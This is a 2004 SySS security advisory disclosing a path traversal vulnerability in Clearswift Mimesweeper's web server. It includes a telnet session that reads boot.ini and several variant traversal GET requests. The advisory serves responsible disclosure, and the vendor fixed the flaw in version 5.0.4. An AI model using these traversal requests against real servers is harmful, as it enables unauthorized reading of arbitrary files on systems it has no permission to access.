Clearswift Mimesweeper Path Traversal Vulnerability

[Kroma Pierre <kroma@xxxxxxx>]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- -------------------------------------------------------------------
SySS-Advisory: Clearswift Mimesweeper Path Traversal Vulnerability
- -------------------------------------------------------------------

Problem discovered:     July    27th 2004
Vendor contacted:       August  5th  2004
Advisory published:     August  11th 2004

AUTHOR: Pierre Kroma (kroma@xxxxxxx)
        SySS GmbH
        72070 Tuebingen / Germany
        Tel.: +49-7071-407856-0
Key fingerprint = 927A B13E 16F5 BBAB 8F17 75EB D8E1 A9A4 F257 4EEC

APPLICATION:            Clearswift Mimesweeper 
AFFECTED VERSION:       all < 5.0.4 (5.0.1 tested)

Remotely Exploitable:   Yes
Locally Exploitable:    Yes

SEVERITY: Critical

DESCRIPTION:
   It is possible to read arbitrary files on
   the remote server by prepending /foobar/\../\../
   in front on the file name.

EXAMPLE:
telnet xx.xx.xx.xx 80
Trying xx.xx.xx.xx...
Connected to xx.xx.xx.xx.
Escape character is '^]'.
GET /foobar/..\\..\\..\\..\\..\\..\\boot.ini HTTP/1.0

HTTP/1.0 200 Ok
Date: Do, 27 Jul 2004 14:30:07 GMT
Server: Clearswift Web Server
Content-length: 186
Content-type: application/octet-stream

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINNT
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINNT="Microsoft Windows 2000 Server"
/fastdetect
Connection closed by foreign host.

Here are some serveral examples:

GET /foobar/..\\..\\..\\..\\boot.ini HTTP/1.0
GET /foobar/..\..\..\..\..\..\\boot.ini HTTP/1.0
GET /foobar/..\..\..\..\..\..\boot.ini HTTP/1.0
GET /foobar/\..\..\..\..\..\boot.ini HTTP/1.0
GET /foobar//..\\..\\..\\..\\boot.ini HTTP/1.0
GET /foobar//..\\..//..\\..//boot.ini HTTP/1.0
GET /foobar/\../\../\../\../\boot.ini HTTP/1.0
GET /foobar/../../../../boot.ini HTTP/1.0
GET /foobar\..\..\..\..\boot.ini HTTP/1.0

IMPACT: This vulnerability can be used to retrieve any file from the partion 
where the clearswift webserver is installed. The number of "/","\",".." 
characters will depend on the ServerRoot (location of the virtual / directory) 
setting.

VENDOR STATUS: Clearswift has fixed the vulnerability in version >= 5.0.4.
-----BEGIN PGP SIGNATURE-----

iD8DBQFBGj/O2OGppPJXTuwRApxvAJ96xep/MUzfKKiAm9MlICe4r+Q0OgCghDOO
sLrOlvzvBPK8xDGB178xQ14=
=qP1W
-----END PGP SIGNATURE-----